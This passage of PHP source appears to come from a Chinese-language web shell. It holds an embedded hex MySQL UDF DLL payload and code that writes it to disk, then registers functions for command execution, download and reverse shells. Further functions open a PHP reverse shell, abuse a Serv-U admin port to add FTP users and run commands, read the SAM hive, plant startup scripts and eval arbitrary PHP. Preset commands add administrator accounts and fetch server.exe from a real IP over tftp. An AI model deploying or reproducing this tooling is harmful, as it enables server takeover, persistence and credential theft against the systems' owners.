16bd6ea94ab8e8934eb81e9326737a06b320b1c98919f8654b0c6e2ce3b792f42465f4506e54900a654233b468ded6bcf7b99fe25754c35cb1c67dee159d9db365eda9fa979115b668008c15f3564401b4b74e082355a596b776ab5c14a7d998f844a48c8e1bf5406dddf8b56c6641dbf0cd68e7e98a2e8d2b829ee342ee65ae34c23b9d2823768fbd80024db4970abccdf91b0e92ae2fbeb2822633ee42dc7622e2ef9c7b0b60dcdd181e2271cef8e0a4a161c700b17c40fea711edd36ca33513d433f109c657d4b610be67f5b17ea714162dbf40e74576613a316bdc75f3572c0dc12fe3c7487249d00c5afaa4ad3d854ba763dabc807da78996e6585b9a6bcfe2956ee3691778ea9d6ee8027e309b066d67116d0c2eafcad749a4858c362aa0eb6d56a28aee9a2bdf22b401c6361d8d13818dbdb2e220ecddb361b622b3f1577fd50722b4f9523378249a4d5968bcf6214c9837991a576e07b556dedfe9d1e7613ee28e1edfd080c943e518582fcb90f41cc60e74a22953d67a042fb24b522db482529b6348645c622dda250b3506ce19c9f2cdb202a454db52f3f73be52026726147717f70b7d3872e4c945104eca84d4f652ac71e87c4b94470626784c6654fdd968dd81d472745d4720341d9307e436a92b29b1a419bf024b70700a0d2c1133c3911f081ba1bce9dd0b74499fc6da58e19165d5e452c8469aac1e2a2e5687b98e081f05e73122b7b4bac513d7ec8a940c648b44bba80076273189858549b283ab363d0eb9e8962462a24f1bbd96db00922744e9484f09aae326461e57da8679c14d41b1986f33682aa70d91efe6d0dd81b65d26000463b8c3429c8f93f0801d71ab1123611b93e5f3a7a278c363c6797957950849f39974d6193ab8fdef30087e1fc96db7c3b78c11c4be00ae617a04e27c74f5c83cc81a95a5cedb752118622f6196fb9853fce4897de28494d5d94763cacd6e8d97892fe00380a2a34fa194882958020ed4b39800b2b01306475074cca32d398589d4ca1686ee3a11b1f918b89948927ee3a097f737456cb43e774bf1913c7c7431b911071a4c4bd30e96e28f0d786d3826ee76c53cc875f5b827e203a8702bba2b4760d0f22f58e56180744172384f5abc11d833bf1201387ba60af29a88da9161af85a07eb4c30deb23732d60e82d415d6bd9eeae750b9284be41c5efab738a1ca5702686579806948960390ed4c0ca7d219eb1ed0cc479c4c516589783c784dbeb284e0d50ad2856b81737d1012273e69f91fbd05fa0ff37283cb44d10f41c44665ced2c42ccc15c365c05f2fbd5a7b99975627c99f5ba39e3dfe1a0b9b6efe4f9d859d33f7a5d9b080b1b7ae7d026c7d0c52ec3dc4a60e5cc7fd7c0faa209f46d531611d88635e8da5b6cbff371d6cdb40eaf94f44a90f5ef96d54a1c148c140feb739837c52c56119c1fbe898ab2242972e028faff901de8679f2d83d3e8094453a80f163dfd6218b72ecbee21a2770d4d0fa9cfe524e8d918d59df5e0e260686966e021d93504fe98e8a5a3113bfdc29a4732ee00c31b6b9471ffe1bdd91625ba0dc6314e2f7c6d14903995692a5730580894c6875679680d71d4470557c76cca1317fa1e3a437c0bb133b98b2b1934ec5ae18dca6b69f3854eae3e9156ed84abe3112abed69eb79c1251126e14b9b3924ee2453d7f3b216d22649464155a0591fc0af92ea6b810e66cce1db14d168161fc7883e994c7f0a5ff401e3f9c1f08439e4333f553c1b84b308ee8fbb2d13f8ff8247aef5b1ca08f1028d70840ea0aa923a1ed861e42358b7ae207a156e333d0f1aed6534b9a4e68b3922d4586598b710128e901855c95fa47bca65bdce83540d78a774028838677d6075eb1ecfd0ecec38650ccc45a05edda1a8e414056aa4db23404ee8fd9411f8f78930ca9713d6d465f95d0bc687bc39f27c2c0057a50e92a0c95e4f4b37411028a07ae76cf3260bb086ee656c033a3ef5b89fbc97996e06243d3f33851476afd328da79f62d1e95a27bf451b943766a50c238ad4b3dece8f4049686494642bca8ae162c69c48c8b9a89161572808b691c5638af59d2bf26b68af0a3adf17eed396890cfcec6e8aaa42742a5fe92073d66d3e2b7baa8f6c473e2f48e9c9e0f7b0b7f7f37399784a2937cc6dcd4871724b2d33a6be15add1908800c8cf92fde2d6fca5a2f55e46a9e2e19ce040739500b33100cce91b6da78009e61b066448dbe4226cc2fb0ee6a027112d9b2e200bf7d197889b3d0f945032488f614a6803b3119b368322825ce5b235a69a6f147ac2341195aa5f3c190eca877c3c66508d99f968d6a350290dffb9da9c4fb4f60b368d3aaa809fc127b2a0bd8eaefb1fa4ccda9d168065ecbbd4766b173e886abce1cf23053a4855e1d6e2f4fb2bf9c07c56fc6d2f27acb2ef8c2f012cc2898b56f32c02a70c5009dd8e35797717ffdcbd233256161ee254d1b1accd2b6133a5fc376babdc4c0d5811c89deadaed2ef047c6364a690fe998b944e996fcbf8c237dbeebf6d764f713a39e8e01efa008b949b13ae7e04017bf1d85071928869984bf78f6a3695586492efae813ce2c252dc92fb8db3beb32cb78a5b057ef9f6bc3524e462c121f4c6c3b29083979c85cfc73e8e5b2500e9785eaf5ea409134606c8a50f1fc68571303807ac06ef9bdc138cdaf1d545b361b25ec793a30c765de9b4199076f41da8ae675a21f321a4060eee1fc25bc992561ef6c1b332747f9b4517c316dd1d68b950c671cd3ea2e42480a0b82901058b355b59bf72d65f6eb33f3f49bb9bef7b514b908255051e8385386939423d47625377cfbe22f85b904dc6029c207a65288e98ff01f215c12507ce986939be440458c000f9475cb4b4704dacb7656330bd06485064678fc603392ecf35a512d76382232fe2889b8e0e7418e9264c0ff1120a56c63b3c08c0eb703464c1c4dd4ba417d11ddec9f67d814ee0c5df50c173b2634c8b6b18cda4d86047a47579847bd1490aca83c8be538bb02f4569d2e200daffd04a47089bbdb0acdf3d2e2772a0fb12d37485ec8883c1253bc84457f3670704b9ee898e978a5593b73aeef92f10f9020ec60cee25e327fe2055c0b29125f72ff67d28b31bdc778d74bd1c39ed6bf2c44ecc2a61ea5f742f6a0c1857001c1b07e56db98c6db1331bdc727a7dc98d2a3f5c5f7cba0c2fc783155c08e4eb337138dd2fc43c6aa607722b0cb90f6afe3f1226d31d5237851cc1dfed5dbc055027361094c50c67b7be979e07c9d5a3f698a9871ae81bcf53c70c611f5de85ccebf2a10cf7016e10483c6125ae8c5660f9269480ae025af71d8923d9ea95b20abe3c71e97e59b8278271dc5722dca6883ba3fc70dd206fb555af8206b03180dae4538642c1d88eea507d8d2cd3cf435660614f87f10cce23786e9376f51e47e4d3202499fa1e3fb3e2e0549e6ef0880fab18dd3032d55b32d484217349380806a72e46888d9b57bccc8aec8be2bd30007367de32d69c5b950fc82ae6b32bd7f512321c7bac127ffeb31c2d52c779ae836304f63cf89c2ec612cd32edec1fa2a7f9c128b6db5f064457dcc9817640a1d0edfce1776f20a4f531f59035345f668bea438eb47e0659f0b1e4180090a81653c7e5303739a6f87b51bef9491d498d1a51e9802d12842f5dd845a3dc54a82ee140424e26c6025939a116092a30a7ab03745b0e5ac7983b0c4537bcda2393ad2d6d24dc642c3e1aa38b4b83679722b97469f3f0e28d1aad08daabbdf3f0335f0abfd33b9bdcfc8f95829ca6064853ad2a2e856771e0c0c952369705cdef3b919340e086e073ddd9c9896e783f3610cb4ae23aa06d2bfc281bdf515696bdf1ae28eb7f8cb1e3280ca948e3d2c89b1ccb7f341fefc7ea193c7477e3d81df3799a685fa2dbd1aa8f7c6d164fa73f44c306fd495979b5b03ad9e29995ab445a89ee792b7cbe5c4829204d3418a29a6e5bc1375d575860f01fa456d8efe52b50f64f221b9372551a5d491ae31660c4928176d974136903e8cd04779424a9d09dec08654ba8bb880bdde1120039f89d38eccbac4436bf382e4e73956ee3b2be95a6659cb96412b14032b5676a321173882ae645390237ced2d62eeaae20f3f52e4c164ce074e0e2cad94dd4c189f19b88991aebc2cffcf522b373d7644c026fd890e0b652261af984a1469ce004fd3464b3949812bc602eeb055c72b2e645a3ace286d9e7d924b0604043e632a3ca026699de5484bcfa7001d5b479761a99eda72d51c9de7345ce00d4c35dfb044b8907fe1bbcb58f5b207aa748746af5e2837116c2f75d4371705986868f6de4e700fc56b91c86c1d3cb4c5c3c9016c3ab6379895fd56adc7c0613eba6d239df1bc48e218233b370930b9dd78627c87c89a4237b00f51b12f75227807372b3204e67138359a647bbe5e8f2f9114ca5518d4c582de609c2958058ce5cf095d5233abf344648bf2a91aa61cf13d6fcaf526e8c69d8a0cccd3aaf850798bc8802a2896a737eb791de6bf660e042843df3e8b68fca1065c5963fd128c7e8f1e9971f5a9f9d7131f075a98143a4de0e456eee823cf6988192a4e372172bdfbf7301bef7d260bb60126a1356857d698df62b5e7ac5e02b4bdc0f1eb22d953b95fa0c6b802f2235bbc31d04d11b46d2da5d8cd6d4f2fad666b3c0060e809000000bb930200e90602000033c95e870ee3f42bf18bdead2bd8ad03c35097ad91f3a55ead5691011eade2fbad8d6e10015d008d7d1cb51cf3ab5ead53505197588d54855cff1672572c037302b0003c0772022c03500fb65fffc1e303b3008d1c5b8d9c9d0c100000b001e3298bd72b550c8a2a33d284e90f95c652fec68ad08d1493ff165a9f12c0d0e9740e9e1af274e4b40033c9b501ff560833c9ff661cb1308b5d0c03d1ff16734c03d1ff16721903d1ff1672293c07b0097202b00b508bc72b450c8a00ff661883c260ff16875d10730c03d1ff16875d147303875d183c07b0087202b00b50538bd5035638ff560c5b91ff66303c07b0077202b00a50875d10875d14895d188bd503563cff560c6a035950483bc172028bc1c1e006b1408d9c857c030000ff56043c048bd8725f33dbd1e813db48439143d3e380f9058d949d7c010000762e80e90433c08b5500d16d088b120fca2b550403c03b550872078b550840015504ff5610e2e0b104d3e003d88d551c33c0534051d3e08bda91ff560433d259d1e813d2e2fa5b03da4359895d0c568bf72bf3f3a4ac5eb180aa3b7e247303ff6620588b4e405f5a57e31b8a074704183c0273f78b073c0775f1b0000fc80346142bc7abe2e58b5e2856528b762c46ad85c05a742203c2525697ff53fc95ac84c075fb380674e78bc679054633c066ad5055ff13abebe7595f8b4944e30d33c0ac3c04720c03f80117e2f361e9e89bfdff2c017208740ac1e008acebe866adebe4adebe1508b450852c1e80bf7228b55008b120fca2b55043bc25a761089450833c0b4082b02c1e8050102eb0e0145042945088b02c1e8052902f9589c807d0b00750bff4500c1650408c16508089dc333c0408d1483ff1613c03bc172f52bc1c3b108ff168d5204b001730bff16b0097305c1e105b011508d1c82ff56045b03c3c30e0000001e00000000000000000000000000000002000000e99702000000000000000000000000000000000000000000010000001e0000001e00000031980200e5980200a99802006022000060290000b0240000c024000060290000b0240000802c000060290000b02400008029000060290000b02400002010000060290000b02400003014000060290000b02400009016000060290000b0240000601b000060290000b0240000b01e000060290000b0240000a026000060290000b024000000000100020003000400050006000700080009000a000b000c000d000e000f0010001100120013001400150016001700180019001a001b001c001d005d990200699902007c9902008d99020099990200ac990200bd990200c3990200d0990200db990200e5990200f6990200059a02000e9a02001e9a02002c9a0200379a0200499a0200599a0200629a0200729a0200809a0200889a0200979a0200a49a0200ad9a0200bd9a0200cb9a0200d09a0200dc9a02004b696c6c50726f63657373004b696c6c50726f636573735f6465696e6974004b696c6c50726f636573735f696e69740050726f63657373566965770050726f63657373566965775f6465696e69740050726f63657373566965775f696e69740061626f75740061626f75745f6465696e69740061626f75745f696e6974006261636b7368656c6c006261636b7368656c6c5f6465696e6974006261636b7368656c6c5f696e697400636d647368656c6c00636d647368656c6c5f6465696e697400636d647368656c6c5f696e697400646f776e6c6f6164657200646f776e6c6f616465725f6465696e697400646f776e6c6f616465725f696e6974006f70656e33333839006f70656e333338395f6465696e6974006f70656e333338395f696e6974007265677265616400726567726561645f6465696e697400726567726561645f696e69740072656777726974650072656777726974655f6465696e69740072656777726974655f696e6974007368757400736875745f6465696e697400736875745f696e697400"; } function Mysql_m() { $MSG_BOX = '请先连接mysql,再导出DLL,最后执行命令.MYSQL用户必须为root权限,导出路径必须能加载DLL文件.'; $info = '命令回显'; $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $sqlcmd = 'ver'; if(isset($_POST['mhost']) && isset($_POST['muser'])) { $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; $conn = mysql_connect($mhost.':'.$mport,$muser,$mpass); if($conn) { $bl_str = mysql_get_server_info(); if(!empty($_POST['mlink']) && empty($_POST['mpath'])){ if($bl_str[2]>=1 && $bl_str[0]=5){ $bl_sql = "show variables like '%plugin_dir%'"; $bl_row = mysql_query($bl_sql,$conn); $bl_rows = mysql_fetch_row($bl_row); $mpath = $bl_rows[1]."/mysqlDLL.dll"; $MSG_BOX = '连接成功'; }else{ $mpath = 'C:/windows/mysqlDll.dll'; $MSG_BOX = '连接成功'; } } @mysql_select_db($mdata); if((!empty($_POST['outdll'])) && (!empty($_POST['mpath']))) { $mpath = File_Str($_POST['mpath']); mysql_query('DROP TABLE Spider_Temp_Tab',$conn); $query ='create table Spider_Temp_Tab (spider BLOB);'; if(!mysql_query($query,$conn)){ $MSG_BOX = '创建临时表pider_Temp_Tab表失败'.mysql_error(); }else{ $shellcode=Mysql_shellcode(); $query ="INSERT into Spider_Temp_Tab values (CONVERT($shellcode,CHAR));"; if(!mysql_query($query,$conn)){ $MSG_BOX = "插入自定义文件失败".mysql_error(); }else{ $mpath = File_Str($_POST['mpath']); $query ="SELECT spider FROM Spider_Temp_Tab INTO DUMPFILE '".$mpath."';"; if(!mysql_query($query,$conn)){ $MSG_BOX = "导出自定义dll出错".mysql_error(); }else{ $ap = explode('/', $mpath); $inpath = array_pop($ap); $query = 'create function cmdshell returns string soname \''.$inpath.'\';'; $MSG_BOX = @mysql_query($query,$conn) ? $MSG_BOX = '安装DLL成功' : $MSG_BOX = '安装DLL失败'.mysql_error(); mysql_query('DROP TABLE Spider_Temp_Tab',$conn); }}} } if(!empty($_POST['runcmd'])) { $sqlcmd = $_POST['sqlcmd']; $query = 'select cmdshell("'.$sqlcmd.'");'; $result = @mysql_query($query,$conn); if($result) { $k = 0; $info = NULL; while($row = @mysql_fetch_array($result)){$infotmp .= $row[$k];$k++;} $info = $infotmp; $MSG_BOX = '执行成功'; } else $MSG_BOX = '执行失败'; } } else $MSG_BOX = '连接MYSQL失败'; } print<< +function Fullm(i){ + Str = new Array(11); + Str[0] = "ver"; + Str[1] = "net user spider spider /add"; + Str[2] = "net localgroup administrators spider /add"; + Str[3] = "net start Terminal Services"; + Str[4] = "netstat -an"; + Str[5] = "ipconfig"; + Str[6] = "net user guest /active:yes"; + Str[7] = "copy c:\\\\1.php d:\\\\2.php"; + Str[8] = "tftp -i 219.134.46.245 get server.exe c:\\\\server.exe"; + Str[9] = "net start telnet"; + Str[10] = "shutdown -r -t 0"; + mform.sqlcmd.value = Str[i]; + return true; +} + +
                            +
                            {$MSG_BOX}
                            +
                            +地址 +端口 +用户 +密码 +库名 + +
                            +可加载路径 +
                            +
                            安装成功后可用
                            + + + +
                            +
                            +
                            + udf函数说明:
                            +     cmdshell 执行cmd;
                            +     downloader 下载者,到网上下载指定文件并保存到指定目录;
                            +     open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
                            +     backshell 反弹Shell;
                            +     ProcessView 枚举系统进程;
                            +     KillProcess 终止指定进程;
                            +     regread 读注册表;
                            +     regwrite 写注册表;
                            +     shut 关机,注销,重启;
                            +     about 说明与帮助函数;
                            +
                            + 常用命令:
                            +    create function cmdshell returns string soname 'moonudf.dll'
                            +    select cmdshell('命令')
                            +    select backshell('你的ip',12345)
                            +    nc -l -p 12345
                            +END; +return true; } function phpsocket() { @set_time_limit(0); $system=strtoupper(substr(PHP_OS, 0, 3)); if(!extension_loaded('sockets')) { if ($system == 'WIN') { @dl('php_sockets.dll') or die("Can't load socket"); }else{ @dl('sockets.so') or die("Can't load socket"); } } if(isset($_POST['host']) && isset($_POST['port'])) { $host = $_POST['host']; $port = $_POST['port']; }else{ print<< +

                            + +
                            反弹 cmdshell 用 php socket;
                            扩展项 php_sockets 应该被开启;
                            请检查 phpinfo();
                            code by Maple-X

                            +
                            +

                            主机:   +端口:  

                            +Linux +Win   + + + + +eof; +echo '

                            '; } if($system=="WIN") { $env=array('path' => 'c:\\windows\\system32'); }else{ $env = array('PATH' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin'); } $descriptorspec = array( 0 => array("pipe","r"), 1 => array("pipe","w"), 2 => array("pipe","w"), ); $host=gethostbyname($host); $proto=getprotobyname("tcp"); if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0) { die("Socket 创建失败"); } if(($ret=socket_connect($sock,$host,$port))<0) { die("链接失败"); }else{ $message="----------------------PHP Connect-Back--------------------\n"; socket_write($sock,$message,strlen($message)); $cwd=str_replace('\\','/',dirname(__FILE__)); while($cmd=socket_read($sock,65535,$proto)) { if(trim(strtolower($cmd))=="exit") { socket_write($sock,"Bye Bye\n"); exit; }else{ $process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env); if (is_resource($process)) { fwrite($pipes[0], $cmd); fclose($pipes[0]); $msg=stream_get_contents($pipes[1]); socket_write($sock,$msg,strlen($msg)); fclose($pipes[1]); $msg=stream_get_contents($pipes[2]); socket_write($sock,$msg,strlen($msg)); $return_value = proc_close($process); } } } } } function su() { $SUPass = isset($_POST['SUPass']) ? $_POST['SUPass'] : '#l@$ak#.lk;0@P'; print<<[执行命令] [增加用户]
                            +
                            +
                            SU_端口
                            +
                            SU_用户
                            +
                            SU_密码
                            +END; +if($_GET['o'] == 'adduser') { print<<用户 +密码 +目录
                            +END; +} else { print<<Cmd命令
                            + + +
                            +END; +} echo '
                            '; if((!empty($_POST['SUPort'])) && (!empty($_POST['SUUser'])) && (!empty($_POST['SUPass']))) { echo '
                            '; $sendbuf = ""; $recvbuf = ""; $domain = "-SETDOMAIN\r\n"."-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n"."-TZOEnable=0\r\n"." TZOKey=\r\n"; $adduser = "-SETUSERSETUP\r\n"."-IP=0.0.0.0\r\n"."-PortNo=21\r\n"."-User=".$_POST['user']."\r\n"."-Password=".$_POST['password']."\r\n"."-HomeDir=c:\\\r\n"."-LoginMesFile=\r\n"."-Disable=0\r\n"."-RelPaths=1\r\n"."-NeedSecure=0\r\n"."-HideHidden=0\r\n"."-AlwaysAllowLogin=0\r\n"."-ChangePassword=0\r\n". "-QuotaEnable=0\r\n"."-MaxUsersLoginPerIP=-1\r\n"."-SpeedLimitUp=0\r\n"."-SpeedLimitDown=0\r\n"."-MaxNrUsers=-1\r\n"."-IdleTimeOut=600\r\n"."-SessionTimeOut=-1\r\n"."-Expire=0\r\n"."-RatioUp=1\r\n"."-RatioDown=1\r\n"."-RatiosCredit=0\r\n"."-QuotaCurrent=0\r\n"."-QuotaMaximum=0\r\n". "-Maintenance=None\r\n"."-PasswordType=Regular\r\n"."-Ratios=None\r\n"." Access=".$_POST['part']."\|RWAMELCDP\r\n"; $deldomain = "-DELETEDOMAIN\r\n"."-IP=0.0.0.0\r\n"." PortNo=21\r\n"; $sock = @fsockopen("127.0.0.1", $_POST["SUPort"], &$errno, &$errstr, 10); $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = "USER ".$_POST["SUUser"]."\r\n"; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = "PASS ".$_POST["SUPass"]."\r\n"; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = "SITE MAINTENANCE\r\n"; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = $domain; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = $adduser; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                            "; if(!empty($_POST['SUCommand'])) { $exp = @fsockopen("127.0.0.1", "21", &$errno, &$errstr, 10); $recvbuf = @fgets($exp, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = "USER ".$_POST['user']."\r\n"; @fputs($exp, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($exp, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = "PASS ".$_POST['password']."\r\n"; @fputs($exp, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($exp, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = "site exec ".$_POST["SUCommand"]."\r\n"; @fputs($exp, $sendbuf, strlen($sendbuf)); echo "发送数据包: site exec ".$_POST["SUCommand"]."
                            "; $recvbuf = @fgets($exp, 1024); echo "返回数据包: $recvbuf
                            "; $sendbuf = $deldomain; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: $sendbuf
                            "; $recvbuf = @fgets($sock, 1024); echo "返回数据包: $recvbuf
                            "; @fclose($exp); } @fclose($sock); echo '
                            '; } } function Mysql_n() { $MSG_BOX = ''; $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $msql = 'select version();'; if(isset($_POST['mhost']) && isset($_POST['muser'])) { $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; if($conn = mysql_connect($mhost.':'.$mport,$muser,$mpass)) @mysql_select_db($mdata); else $MSG_BOX = '连接MYSQL失败'; } $downfile = 'c:/windows/repair/sam'; if(!empty($_POST['downfile'])) { $downfile = File_Str($_POST['downfile']); $binpath = bin2hex($downfile); $query = 'select load_file(0x'.$binpath.')'; if($result = @mysql_query($query,$conn)) { $k = 0; $downcode = ''; while($row = @mysql_fetch_array($result)){$downcode .= $row[$k];$k++;} $filedown = basename($downfile); if(!$filedown) $filedown = 'spider.tmp'; $array = explode('.', $filedown); $arrayend = array_pop($array); header('Content-type: application/x-'.$arrayend); header('Content-Disposition: attachment; filename='.$filedown); header('Content-Length: '.strlen($downcode)); echo $downcode; exit; } else $MSG_BOX = '下载文件失败'; } $o = isset($_GET['o']) ? $_GET['o'] : ''; Root_CSS(); print<< +
                            +
                            +地址 +端口 +用户 +密码 +库名 +
                            +
                            +END; +if($o == 'u') { $uppath = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/exp.vbs'; if(!empty($_POST['uppath'])) { $uppath = $_POST['uppath']; $query = 'Create TABLE a (cmd text NOT NULL);'; if(@mysql_query($query,$conn)) { if($tmpcode = File_Read($_FILES['upfile']['tmp_name'])){$filecode = bin2hex(File_Read($tmpcode));} else{$tmp = File_Str(dirname(__FILE__)).'/upfile.tmp';if(File_Up($_FILES['upfile']['tmp_name'],$tmp)){$filecode = bin2hex(File_Read($tmp));@unlink($tmp);}} $query = 'Insert INTO a (cmd) VALUES(CONVERT(0x'.$filecode.',CHAR));'; if(@mysql_query($query,$conn)) { $query = 'SELECT cmd FROM a INTO DUMPFILE \''.$uppath.'\';'; $MSG_BOX = @mysql_query($query,$conn) ? '上传文件成功' : '上传文件失败'; } else $MSG_BOX = '插入临时表失败'; @mysql_query('Drop TABLE IF EXISTS a;',$conn); } else $MSG_BOX = '创建临时表失败'; } print<<
                            上传路径 +

                            选择文件 +
                            +END; +} elseif($o == 'd') { print<<

                            下载文件 +
                            +END; +} else { if(!empty($_POST['msql'])) { $msql = $_POST['msql']; if($result = @mysql_query($msql,$conn)) { $MSG_BOX = '执行SQL语句成功
                            '; $k = 0; while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;} } else $MSG_BOX .= mysql_error(); } print<< +function nFull(i){ + Str = new Array(15); + Str[0] = "select command Or input manual"; + Str[1] = "select version();"; + Str[2] = "select @@character_set_database;"; + Str[3] = "show databases;"; + Str[4] = "show tables;"; + Str[5] = "show columns from table_name;"; + Str[6] = "select @@hostname;"; + Str[7] = "select @@version_compile_os;"; + Str[8] = "select @@basedir;"; + Str[9] = "select @@datadir;"; + Str[10] = "describe table_name;"; + Str[11] = "select User,Password from mysql.user;"; + Str[12] = "select load_file(0x633A5C5C77696E646F77735C73797374656D33325C5C696E65747372765C5C6D657461626173652E786D6C);"; + Str[13] = "select 'testtest' into outfile '/var/www/html/test.txt' from mysql.user;"; + Str[14] = "GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;"; + nform.msql.value = Str[i]; + return true; +} + +
                            +
                            + + +END; +if(!empty($_POST['msql'])) { $msql = $_POST['msql']; if($result = @mysql_query($msql,$conn)) { $MSG_BOX = 'execute sql statement success
                            '; $row=mysql_fetch_row($result); echo ''.""; for ($i=0; $i'.mysql_field_name($result, $i).""; } echo ""; mysql_data_seek($result, 0); while ($row=mysql_fetch_row($result)) { echo ""; for ($i=0; $i'."$row[$i]".''; } echo ""; } echo "
                            "; mysql_free_result($result); } else $MSG_BOX .= mysql_error(); } } echo '
                            '.$MSG_BOX.'
                            '; return true; } function phpcode() { print<< +
                            +
                            用户自定义PHP代码:

                            +
                            +

                            +
                            + +END; +$phpcode = $_POST['phpcode']; $phpcode = trim($phpcode); if($phpcode){ if (!preg_match('#<\?#si',$phpcode)){ $phpcode = ""; } eval("?".">$phpcode
                            '; } return false; } function otherdb(){ $db = isset($_GET['db']) ? $_GET['db'] : ''; print<< + +END; +if ($db=="ms"){ $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost'; $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : 'sa'; $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : 'sa123'; $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master'; $msaction = isset($_POST['action']) ? $_POST['action'] : ''; $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : ''; $msquery = stripslashes($msquery); print<< +
                            主机: +用户: +密码: +数据库名:

                            + +
                            + + +
                            +END; +if ($msaction == 'msquery'){ $msconn= mssql_connect ($mshost , $msuser, $mspass); mssql_select_db($msdbname,$msconn) or die("连接失败:" .mssql_get_last_message()); $msresult = mssql_query($msquery) or die(mssql_get_last_message()); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. mssql_field_name($msresult, $i); echo "\n"; } echo "\n"; mssql_data_seek($result, 0); while ($msrow=mssql_fetch_row($msresult)) { echo "\n"; for ($i=0; $i'; echo "$msrow[$i]"; echo ''; } echo "\n"; } echo "
                            \n"; echo "
                            "; mssql_free_result($msresult); mssql_close(); } } elseif ($db=="ora"){ $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost'; $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521'; $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : 'root'; $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '123456'; $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL'; $oraaction = isset($_POST['action']) ? $_POST['action'] : ''; $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : ''; $oraquery = stripslashes($oraquery); print<< +
                            主机: +端口: +用户: +密码: +SID:

                            + +
                            + + +
                            +END; +if ($oraaction == 'oraquery'){ $oralink = OCILogon($orauser,$orapass,"(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST=$orahost)(PORT = $oraport))(CONNECT_DATA =(SID=$orasid)))") or die(ocierror()); $oraresult=ociparse($oralink,$oraquery) or die(ocierror()); $orarow=oci_fetch_row($oraresult); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. oci_field_name($oraresult, $i); echo "\n"; } echo "\n"; ociresult($oraresult, 0); while ($orarow=ora_fetch_row($oraresult)) { echo "\n"; for ($i=0; $i'; echo "$orarow[$i]"; echo ''; } echo "\n"; } echo "
                            \n"; echo "
                            "; oci_free_statement($oraresult); ocilogoff(); } } elseif ($db == "ifx"){ $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : 'root'; $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '123456'; $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb'; $ifxaction = isset($_POST['action']) ? $_POST['action'] : ''; $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : ''; $ifxquery = stripslashes($ifxquery); print<< +
                            数据库名: +用户: +密码:

                            + +
                            + + +
                            +END; +if ($ifxaction == 'ifxquery'){ $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg()); $ifxresult = ifx_query($ifxquery,$ifxlink) or die (ifx_errormsg()); $ifxrow=ifx_fetch_row($ifxresult); echo ''; echo ''; echo "\n\n"; for ($i=0; $i'. ifx_fieldproperties($ifxresult); echo "\n"; } echo "\n"; mysql_data_seek($ifxresult, 0); while ($ifxrow=ifx_fetch_row($ifxresult)) { echo "\n"; for ($i=0; $i'; echo "$ifxrow[$i]"; echo ''; } echo "\n"; } echo "
                            \n"; echo "
                            "; ifx_free_result($ifxresult); ifx_close(); } } elseif ($db=="db2"){ $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost'; $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000'; $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : 'root'; $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '123456'; $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql'; $db2action = isset($_POST['action']) ? $_POST['action'] : ''; $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : ''; $db2query = stripslashes($db2query); print<< +
